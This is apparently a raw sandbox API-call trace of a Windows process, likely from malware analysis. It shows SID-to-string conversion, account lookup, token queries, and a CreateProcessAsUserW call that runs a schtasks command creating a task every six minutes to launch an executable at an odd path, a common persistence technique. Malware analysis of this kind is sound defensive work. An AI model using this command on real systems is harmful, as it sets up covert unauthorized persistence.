(pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0156.625] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0156.625] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0156.625] malloc (_Size=0x18) returned 0x2af180 [0156.625] malloc (_Size=0x18) returned 0x2af1a0 [0156.625] SysStringLen (param_1="S-1-5") returned 0x5 [0156.625] SysStringLen (param_1="-") returned 0x1 [0156.625] memcpy (in: _Dst=0x142308, _Src=0x1424b8, _Size=0xc | out: _Dst=0x142308) returned 0x142308 [0156.625] memcpy (in: _Dst=0x142312, _Src=0x142338, _Size=0x4 | out: _Dst=0x142312) returned 0x142312 [0156.625] free (_Block=0x2af280) [0156.625] free (_Block=0x2af180) [0156.625] malloc (_Size=0x18) returned 0x2af180 [0156.625] malloc (_Size=0x18) returned 0x2af280 [0156.625] SysStringLen (param_1="S-1-5-") returned 0x6 [0156.625] SysStringLen (param_1="21") returned 0x2 [0156.625] memcpy (in: _Dst=0x142338, _Src=0x142308, _Size=0xe | out: _Dst=0x142338) returned 0x142338 [0156.625] memcpy (in: _Dst=0x142344, _Src=0x1424b8, _Size=0x6 | out: _Dst=0x142344) returned 0x142344 [0156.626] free (_Block=0x2af1a0) [0156.626] free (_Block=0x2af180) [0156.626] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0156.626] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0156.626] malloc (_Size=0x18) returned 0x2af180 [0156.626] malloc (_Size=0x18) returned 0x2af1a0 [0156.626] SysStringLen (param_1="S-1-5-21") returned 0x8 [0156.626] SysStringLen (param_1="-") returned 0x1 [0156.626] memcpy (in: _Dst=0x1424b8, _Src=0x142338, _Size=0x12 | out: _Dst=0x1424b8) returned 0x1424b8 [0156.626] memcpy (in: _Dst=0x1424c8, _Src=0x142308, _Size=0x4 | out: _Dst=0x1424c8) returned 0x1424c8 [0156.626] free (_Block=0x2af280) [0156.626] free (_Block=0x2af180) [0156.626] malloc (_Size=0x18) returned 0x2af180 [0156.626] malloc (_Size=0x18) returned 0x2af280 [0156.626] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0156.626] SysStringLen (param_1="4219442223") returned 0xa [0156.626] memcpy (in: _Dst=0x1182b8, _Src=0x1424b8, _Size=0x14 | out: _Dst=0x1182b8) returned 0x1182b8 [0156.626] memcpy (in: _Dst=0x1182ca, _Src=0x142338, _Size=0x16 | out: _Dst=0x1182ca) returned 0x1182ca [0156.626] free (_Block=0x2af1a0) [0156.627] free (_Block=0x2af180) [0156.627] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0156.627] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0156.627] malloc (_Size=0x18) returned 0x2af180 [0156.627] malloc (_Size=0x18) returned 0x2af1a0 [0156.627] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0156.627] SysStringLen (param_1="-") returned 0x1 [0156.627] memcpy (in: _Dst=0x117ea8, _Src=0x1182b8, _Size=0x28 | out: _Dst=0x117ea8) returned 0x117ea8 [0156.627] memcpy (in: _Dst=0x117ece, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x117ece) returned 0x117ece [0156.627] free (_Block=0x2af280) [0156.627] free (_Block=0x2af180) [0156.627] malloc (_Size=0x18) returned 0x2af180 [0156.627] malloc (_Size=0x18) returned 0x2af280 [0156.627] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0156.627] SysStringLen (param_1="4223814209") returned 0xa [0156.627] memcpy (in: _Dst=0x12d6f8, _Src=0x117ea8, _Size=0x2a | out: _Dst=0x12d6f8) returned 0x12d6f8 [0156.627] memcpy (in: _Dst=0x12d720, _Src=0x1424b8, _Size=0x16 | out: _Dst=0x12d720) returned 0x12d720 [0156.627] free (_Block=0x2af1a0) [0156.627] free (_Block=0x2af180) [0156.628] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0156.628] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0156.628] malloc (_Size=0x18) returned 0x2af180 [0156.628] malloc (_Size=0x18) returned 0x2af1a0 [0156.628] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0156.628] SysStringLen (param_1="-") returned 0x1 [0156.628] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x3e | out: _Dst=0x171608) returned 0x171608 [0156.628] memcpy (in: _Dst=0x171644, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x171644) returned 0x171644 [0156.628] free (_Block=0x2af280) [0156.628] free (_Block=0x2af180) [0156.628] malloc (_Size=0x18) returned 0x2af180 [0156.628] malloc (_Size=0x18) returned 0x2af280 [0156.628] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0156.628] SysStringLen (param_1="3835049652") returned 0xa [0156.628] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x40 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0156.628] memcpy (in: _Dst=0x12d736, _Src=0x1424b8, _Size=0x16 | out: _Dst=0x12d736) returned 0x12d736 [0156.628] free (_Block=0x2af1a0) [0156.628] free (_Block=0x2af180) [0156.628] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0156.629] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0156.629] malloc (_Size=0x18) returned 0x2af180 [0156.629] malloc (_Size=0x18) returned 0x2af1a0 [0156.629] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0156.629] SysStringLen (param_1="-") returned 0x1 [0156.629] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x54 | out: _Dst=0x171608) returned 0x171608 [0156.629] memcpy (in: _Dst=0x17165a, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x17165a) returned 0x17165a [0156.629] free (_Block=0x2af280) [0156.629] free (_Block=0x2af180) [0156.629] malloc (_Size=0x18) returned 0x2af180 [0156.629] malloc (_Size=0x18) returned 0x2af280 [0156.629] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0156.629] SysStringLen (param_1="1000") returned 0x4 [0156.629] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x56 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0156.629] memcpy (in: _Dst=0x12d74c, _Src=0x1424b8, _Size=0xa | out: _Dst=0x12d74c) returned 0x12d74c [0156.629] free (_Block=0x2af1a0) [0156.629] free (_Block=0x2af180) [0156.629] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0156.629] malloc (_Size=0x5e) returned 0x2b0ad0 [0156.629] free (_Block=0x2af280) [0156.629] malloc (_Size=0x18) returned 0x2af280 [0156.630] free (_Block=0x2b0ad0) [0156.630] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0156.631] GetLastError () returned 0x7a [0156.631] malloc (_Size=0x14) returned 0x2af180 [0156.631] malloc (_Size=0x16) returned 0x2af1a0 [0156.631] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af180, cchName=0xe7ca84, ReferencedDomainName=0x2af1a0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0156.632] malloc (_Size=0x18) returned 0x2af260 [0156.632] malloc (_Size=0x18) returned 0x2af240 [0156.632] free (_Block=0x2af180) [0156.632] free (_Block=0x2af1a0) [0156.632] free (_Block=0x2b86e0) [0156.632] free (_Block=0x2af240) [0156.632] free (_Block=0x2af260) [0156.632] free (_Block=0x2af280) [0156.639] free (_Block=0x2b8b10) [0156.639] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0156.639] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0156.639] GetLastError () returned 0x7a [0156.639] malloc (_Size=0x2c) returned 0x2b8b50 [0156.639] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0156.639] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0156.639] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0156.639] malloc (_Size=0x1c) returned 0x2b86e0 [0156.639] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b86e0, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b86e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0156.639] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0156.639] malloc (_Size=0x18) returned 0x2af280 [0156.640] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0156.640] malloc (_Size=0x18) returned 0x2af260 [0156.640] malloc (_Size=0x18) returned 0x2af240 [0156.640] SysStringLen (param_1="S-1-") returned 0x4 [0156.640] SysStringLen (param_1="5") returned 0x1 [0156.640] memcpy (in: _Dst=0x142338, _Src=0x142308, _Size=0xa | out: _Dst=0x142338) returned 0x142338 [0156.640] memcpy (in: _Dst=0x142340, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x142340) returned 0x142340 [0156.640] free (_Block=0x2af280) [0156.640] free (_Block=0x2af260) [0156.640] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0156.640] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0156.640] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0156.640] malloc (_Size=0x18) returned 0x2af260 [0156.640] malloc (_Size=0x18) returned 0x2af280 [0156.640] SysStringLen (param_1="S-1-5") returned 0x5 [0156.640] SysStringLen (param_1="-") returned 0x1 [0156.640] memcpy (in: _Dst=0x1424b8, _Src=0x142338, _Size=0xc | out: _Dst=0x1424b8) returned 0x1424b8 [0156.641] memcpy (in: _Dst=0x1424c2, _Src=0x142308, _Size=0x4 | out: _Dst=0x1424c2) returned 0x1424c2 [0156.641] free (_Block=0x2af240) [0156.641] free (_Block=0x2af260) [0156.641] malloc (_Size=0x18) returned 0x2af260 [0156.641] malloc (_Size=0x18) returned 0x2af240 [0156.641] SysStringLen (param_1="S-1-5-") returned 0x6 [0156.641] SysStringLen (param_1="21") returned 0x2 [0156.641] memcpy (in: _Dst=0x142308, _Src=0x1424b8, _Size=0xe | out: _Dst=0x142308) returned 0x142308 [0156.641] memcpy (in: _Dst=0x142314, _Src=0x142338, _Size=0x6 | out: _Dst=0x142314) returned 0x142314 [0156.641] free (_Block=0x2af280) [0156.641] free (_Block=0x2af260) [0156.641] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0156.641] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0156.641] malloc (_Size=0x18) returned 0x2af260 [0156.641] malloc (_Size=0x18) returned 0x2af280 [0156.641] SysStringLen (param_1="S-1-5-21") returned 0x8 [0156.641] SysStringLen (param_1="-") returned 0x1 [0156.641] memcpy (in: _Dst=0x142338, _Src=0x142308, _Size=0x12 | out: _Dst=0x142338) returned 0x142338 [0156.641] memcpy (in: _Dst=0x142348, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x142348) returned 0x142348 [0156.641] free (_Block=0x2af240) [0156.642] free (_Block=0x2af260) [0156.642] malloc (_Size=0x18) returned 0x2af260 [0156.642] malloc (_Size=0x18) returned 0x2af240 [0156.642] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0156.642] SysStringLen (param_1="4219442223") returned 0xa [0156.642] memcpy (in: _Dst=0x1182b8, _Src=0x142338, _Size=0x14 | out: _Dst=0x1182b8) returned 0x1182b8 [0156.642] memcpy (in: _Dst=0x1182ca, _Src=0x142308, _Size=0x16 | out: _Dst=0x1182ca) returned 0x1182ca [0156.642] free (_Block=0x2af280) [0156.642] free (_Block=0x2af260) [0156.642] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0156.642] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0156.642] malloc (_Size=0x18) returned 0x2af260 [0156.642] malloc (_Size=0x18) returned 0x2af280 [0156.642] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0156.642] SysStringLen (param_1="-") returned 0x1 [0156.642] memcpy (in: _Dst=0x117ea8, _Src=0x1182b8, _Size=0x28 | out: _Dst=0x117ea8) returned 0x117ea8 [0156.642] memcpy (in: _Dst=0x117ece, _Src=0x142338, _Size=0x4 | out: _Dst=0x117ece) returned 0x117ece [0156.642] free (_Block=0x2af240) [0156.642] free (_Block=0x2af260) [0156.642] malloc (_Size=0x18) returned 0x2af260 [0156.642] malloc (_Size=0x18) returned 0x2af240 [0156.643] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0156.643] SysStringLen (param_1="4223814209") returned 0xa [0156.643] memcpy (in: _Dst=0x171608, _Src=0x117ea8, _Size=0x2a | out: _Dst=0x171608) returned 0x171608 [0156.643] memcpy (in: _Dst=0x171630, _Src=0x142338, _Size=0x16 | out: _Dst=0x171630) returned 0x171630 [0156.643] free (_Block=0x2af280) [0156.643] free (_Block=0x2af260) [0156.643] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0156.643] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0156.643] malloc (_Size=0x18) returned 0x2af260 [0156.643] malloc (_Size=0x18) returned 0x2af280 [0156.643] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0156.643] SysStringLen (param_1="-") returned 0x1 [0156.643] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x3e | out: _Dst=0x12d6f8) returned 0x12d6f8 [0156.643] memcpy (in: _Dst=0x12d734, _Src=0x142338, _Size=0x4 | out: _Dst=0x12d734) returned 0x12d734 [0156.643] free (_Block=0x2af240) [0156.643] free (_Block=0x2af260) [0156.643] malloc (_Size=0x18) returned 0x2af260 [0156.643] malloc (_Size=0x18) returned 0x2af240 [0156.643] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0156.643] SysStringLen (param_1="3835049652") returned 0xa [0156.643] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x40 | out: _Dst=0x171608) returned 0x171608 [0156.643] memcpy (in: _Dst=0x171646, _Src=0x142338, _Size=0x16 | out: _Dst=0x171646) returned 0x171646 [0156.644] free (_Block=0x2af280) [0156.644] free (_Block=0x2af260) [0156.644] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0156.644] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0156.644] malloc (_Size=0x18) returned 0x2af260 [0156.644] malloc (_Size=0x18) returned 0x2af280 [0156.644] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0156.644] SysStringLen (param_1="-") returned 0x1 [0156.644] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x54 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0156.644] memcpy (in: _Dst=0x12d74a, _Src=0x142338, _Size=0x4 | out: _Dst=0x12d74a) returned 0x12d74a [0156.644] free (_Block=0x2af240) [0156.644] free (_Block=0x2af260) [0156.644] malloc (_Size=0x18) returned 0x2af260 [0156.644] malloc (_Size=0x18) returned 0x2af240 [0156.644] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0156.644] SysStringLen (param_1="1000") returned 0x4 [0156.644] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x56 | out: _Dst=0x171608) returned 0x171608 [0156.644] memcpy (in: _Dst=0x17165c, _Src=0x142338, _Size=0xa | out: _Dst=0x17165c) returned 0x17165c [0156.644] free (_Block=0x2af280) [0156.644] free (_Block=0x2af260) [0156.645] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0156.645] malloc (_Size=0x5e) returned 0x2b0ad0 [0156.645] free (_Block=0x2af240) [0156.645] malloc (_Size=0x18) returned 0x2af240 [0156.645] free (_Block=0x2b0ad0) [0156.645] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0156.696] GetLastError () returned 0x7a [0156.696] malloc (_Size=0x14) returned 0x2af260 [0156.696] malloc (_Size=0x16) returned 0x2af280 [0156.696] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af260, cchName=0xe7ca94, ReferencedDomainName=0x2af280, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0156.697] malloc (_Size=0x18) returned 0x2af1a0 [0156.697] malloc (_Size=0x18) returned 0x2af180 [0156.697] free (_Block=0x2af260) [0156.697] free (_Block=0x2af280) [0156.697] free (_Block=0x2b86e0) [0156.697] free (_Block=0x2af180) [0156.697] free (_Block=0x2af1a0) [0156.697] free (_Block=0x2af240) [0156.698] free (_Block=0x2b8b50) [0156.698] malloc (_Size=0x48) returned 0x2ad680 [0156.698] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0156.706] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0156.706] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0156.706] malloc (_Size=0x18) returned 0x2af240 [0156.706] CreateEnvironmentBlock () returned 0x1 [0156.711] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0156.712] malloc (_Size=0x18) returned 0x2af1a0 [0156.712] CreateProcessAsUserW (in: hToken=0x2d4, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"but inside saveb\" /sc MINUTE /mo 6 /tr \"'C:\\comproviderRuntimecommon\\but inside save.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x18a730, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"but inside saveb\" /sc MINUTE /mo 6 /tr \"'C:\\comproviderRuntimecommon\\but inside save.exe'\" /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0xd0c, dwThreadId=0xd08)) returned 1 [0156.716] CloseHandle (hObject=0x300) returned 1 [0156.716] CloseHandle (hObject=0x2fc) returned 1 [0156.716] free (_Block=0x2af1a0) [0156.716] DestroyEnvironmentBlock () returned 0x1 [0156.716] malloc (_Size=0x48) returned 0x2ad6d0 [0156.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x29d0ada0, dwHighDateTime=0x1d8a92a)) [0156.716] SetEvent (hEvent=0x1f0) returned 1 [0156.717] CloseHandle (hObject=0x1ec) returned 1 [0156.717] CloseHandle (hObject=0x2d4) returned 1 [0156.905] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0156.905] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0156.905] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0157.216] SetLastError (dwErrCode=0x0) [0157.216] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0157.216] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0157.216] SetLastError (dwErrCode=0x0) [0157.216] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0157.216] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0157.216] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0157.216] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0157.217] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0157.217] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0157.219] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0157.219] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0157.220] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0157.220] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0157.220] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0157.220] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0157.220] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0157.222] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0157.222] GetCurrentThread () returned 0xfffffffffffffffe [0157.222] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2ac) returned 1 [0157.222] malloc (_Size=0xd8) returned 0x2b35c0 